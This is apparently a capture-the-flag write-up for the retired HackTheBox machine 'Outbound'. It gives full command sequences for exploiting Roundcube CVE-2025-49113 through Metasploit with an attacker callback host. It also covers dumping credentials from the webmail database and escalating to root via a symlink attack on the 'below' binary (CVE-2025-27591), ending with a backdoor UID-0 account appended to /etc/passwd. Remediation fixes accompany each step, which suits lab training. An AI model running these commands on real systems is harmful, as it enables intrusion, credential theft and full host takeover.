Outbound
Summary
I scanned the target and found an nginx web server redirecting to a Roundcube webmail application at mail.outbound.htb. Publicly accessible installation files confirmed the exact version — Roundcube 1.6.10 — which is critically vulnerable to CVE-2025-49113, a post-authentication PHP object-deserialization remote code execution flaw. Using credentials for the webmail account 'tyler', I triggered the exploit via a public Metasploit module and obtained a command shell as the nginx web-server process (www-data).
The application's database configuration file was readable from that shell, yielding MySQL credentials; querying the Roundcube session table surfaced a plaintext SSH password for local account 'jacob' that had been left in stored session data from an internal webmail message. SSH as jacob provided an interactive shell and the first flag. Inspecting sudo privileges revealed that jacob could run Meta's 'below' system-monitoring binary as root without a password.
That binary is affected by CVE-2025-27591: it follows symbolic links when writing its root-owned log file, and the log directory was writable by jacob. Replacing the log path with a symlink to /etc/passwd and invoking below as root caused the binary to open /etc/passwd through the symlink, making it world-writable. I appended a new UID-0 account, logged in via SSH, and read the root flag — achieving full compromise of the host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80 $TARGETcurl -siL http://$TARGET/ | grep -E 'Location|Server'echo "$TARGET mail.outbound.htb" | sudo tee -a /etc/hostsExact commands 2
curl -s http://mail.outbound.htb/CHANGELOG.md | head -20curl -s http://mail.outbound.htb/program/js/app.js | grep -i version | head -5FixBlock public access to Roundcube installation files that disclose the application versionMedium
Exact commands 2
msfconsole -q -x "use exploit/multi/http/roundcube_auth_rce_cve_2025_49113; set RHOSTS $TARGET; set RPORT 80; set TARGETURI /; set VHOST mail.outbound.htb; set USERNAME tyler; set PASSWORD $PASSWORD3; set LHOST $ATTACKER_IP; run"id; whoami; hostname; pwdFixPatch Roundcube to address CVE-2025-49113Critical
Exact commands 2
cat /var/www/html/roundcube/config/config.inc.php | grep db_dsnwmysql -u roundcube -p$PASSWORD4 -h localhost roundcube -N -B -e "SELECT substring(convert(from_base64(vars) using utf8mb4), locate('password', convert(from_base64(vars) using utf8mb4)), 90) FROM session;"FixEliminate plaintext credential exposure in Roundcube session storage and adopt secure credential-distribution practicesHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 jacob@$TARGET 'id; hostname; cat /home/jacob/user.txt'Exact commands 3
sudo -lstrings /usr/bin/below | grep -E 'log|error_root'ls -ld /var/log/below/FixRemove or tightly restrict jacob's passwordless sudo rule for /usr/bin/belowHigh
Exact commands 4
mkdir -p /var/log/below && rm -f /var/log/below/error_root.logln -s /etc/passwd /var/log/below/error_root.logsudo /usr/bin/below dumpstat -c '%a %n' /etc/passwdFixPatch /usr/bin/below (CVE-2025-27591) and harden /var/log/below directory permissionsCritical
Exact commands 2
HASH=$(openssl passwd -1 -salt pwned $PASSWORD2) && echo "r00t:${HASH}:0:0:root:/root:/bin/bash" >> /etc/passwdsshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 r00t@$TARGET 'id; hostname; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.
Why it works
Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.24.0 (Ubuntu) |